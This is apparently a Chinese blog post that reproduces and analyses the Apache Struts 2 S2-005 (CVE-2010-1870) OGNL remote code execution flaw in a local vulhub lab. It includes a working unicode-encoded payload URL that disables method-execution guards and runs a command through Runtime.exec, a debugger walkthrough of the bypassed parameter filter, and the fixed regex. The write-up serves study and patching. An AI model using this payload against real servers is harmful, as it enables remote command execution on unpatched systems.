S2-005复现分析

一、漏洞信息

漏洞信息页面:

S2-005 - Apache Struts 2 Wiki - Apache Software Foundation

漏洞编号:

CVE-2010-1870

漏洞类型:

RCE(远程代码执行)

受影响组件:

Struts 2.0.0 - Struts 2.1.8.1

漏洞成因:

XWork使用OGNL表达式将GET参数的键和值解析为Java语句

user.address.city=Bishkek&user['favoriteDrink']=kumys

//It will be converted to

action.getUser().getAddress().setCity("Bishkek")

action.getUser().setFavoriteDrink("kumys")

二、环境搭建

IDE:Eclipse IDE for Enterprise Java and Web Developers

Java:JDK1.8

Tomcat:8.5.14

Struts:2.1.8.1(https://github.com/vulhub/vulhub/struts/s2-005)

三、漏洞利用

执行命令,弹计算器payload

http://127.0.0.1:8080/S2-005/example/HelloWorld.action?
('\u0023_memberAccess[\'allowStaticMethodAccess\']')(vaaa)=true&(aaaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023vccc')(\u0023vccc\u003dnew java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec("calc.exe".split("@"))')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
    
\u0023 ==> #
\u003d ==> =

Ognl表达式解析参考:S2-005 远程代码执行漏洞检测与利用_Fly_鹏程万里-CSDN博客_s2-005

Payload中的攻击代码有两个形式,一种是(expression)(constant)=value,一种是(constant)((expression1)(expression2))
Ognl解析引擎是这样处理的,每个括号对应语法树上的一个分支,并且从最右边的叶子节点开始解析执行。

总结:
(1)(expression)(constant)=value 会执行 expression=value。
(2)(constant)((expression1)(expression2)) 会先执行expression2,然后再执行expression1。

四、漏洞分析

找到params拦截器所在类,在doIntercept()函数中下断点。开始调试,web页面请求带有payload的url。

运行到setParameters,该函数根据请求参数设置action,步入函数。

调用setDenyMethodExecution向context中添加xwork.MethodAccessor.denyMethodExecution=true,禁止在参数中调用任意方法

在setParameters中调用acceptableName

在acceptableName中调用了两个方法对参数名进行过滤

isAccepted中会对paraName进行正则匹配,\p{Graph}为匹配任何可见字符。不允许paraName带有,#:=。由于只是简单的匹配这几个字符,导致可以通过编码绕过此处的过滤。

isExcluded

通过isAccepted验证后将参数及值存放在acceptableParameters

跟进到newStack.setValue,此处for循环遍历GET参数的键值对。

步入setValue函数,使用ognlUtil.setValue,步入函数。

ognlUtil.setValue中又调用了n.setValue,步入函数

跟进到evaluateSetValueBody,步入函数

跟进setValueBody

调用getvalue解析ognl表达式,并通过node.setValue将#_memberAccess['allowStaticMethodAccess']赋值为true

五、漏洞修复

新版本将isAccepted函数中的正则匹配替换为了如下表达式,输入字符需要通过正则匹配。\#,;等不包含其中的特殊字符将无法通过验证。

private String acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";

参考链接

https://www.anquanke.com/post/id/254809
https://blog.csdn.net/Fly_hps/article/details/85000125

posted @ 2022-03-01 15:01  CabbageJun  阅读(481)  评论(0)    收藏  举报